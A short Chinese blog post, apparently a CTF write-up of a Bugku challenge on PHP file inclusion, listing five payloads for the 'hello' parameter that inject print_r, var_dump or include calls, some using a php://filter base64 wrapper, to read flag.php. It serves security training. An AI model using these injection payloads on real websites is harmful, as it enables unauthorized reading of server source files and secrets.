美文网首页
本地文件包含

本地文件包含

作者: 小灰灰的大冒险 | 来源:发表于2018-09-23 20:10 被阅读0次

这个是bugku上的一道题目,题目如下:

题目.png
@$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。所以可以构造hello的get或者post参数。
$a应该最后会像字符串替换一样替换成hello的参数值。
我在CSDN上看到几种办法:
<1> hello=);print_r(file("flag.php") 
<2> hello=);var_dump(file("flag.php") 
<3> hello=file("flag.php") 
<4> hello=);include(@$_POST['b'] 
在POST区域:b=php://filter/convert.base64-encode/resource=flag.php 
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"

第四第五种办法的出来的是一串base64编码的字符串,拿去解码一下就可以看到flag了。

相关文章

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 2019-09-02 文件包含和几个伪协议

    本地文件包含和远程文件包含: 本地文件包含:只要内容中带有即可解析成php文件执行。即使包含的文件...

  • 本地文件包含

    这个是bugku上的一道题目,题目如下: 第四第五种办法的出来的是一串base64编码的字符串,拿去解码一下就可以...

  • DVWA文件包含漏洞学习

    文件包含分为LFI本地文件包含和RFI远程文件包含,本次主要以本地文件包含为主进行测试。 进行到DVWA下的Fil...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

  • 本地包含敏感文件

    常用函数 .require()执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行.r...

  • 目录遍历与文件包含

    文件包含 LFI:本地文件包含RFI:远程文件包含(allow_url_include = on) 1.特征 ?i...

  • TryHackMe--dogcat

    一、文件包含利用 1、本地文件包含 2、源码分析 3、apache日志文件包含 apache默认路径:/var/w...

  • 包含漏洞

    文件包含脑图 本地包含 使用include文件 代码表示上传的文件都以php执行 远程包含 需要把allow_ur...

  • phpMyAdmin本地文件包含漏洞

    0x00 漏洞概述 受此漏洞影响的版本: phpMyAdmin 4.0.1 -- 4.2.12 phpMyAdmi...

网友评论

      本文标题:本地文件包含

      本文链接:https://www.haomeiwen.com/subject/tweqoftx.html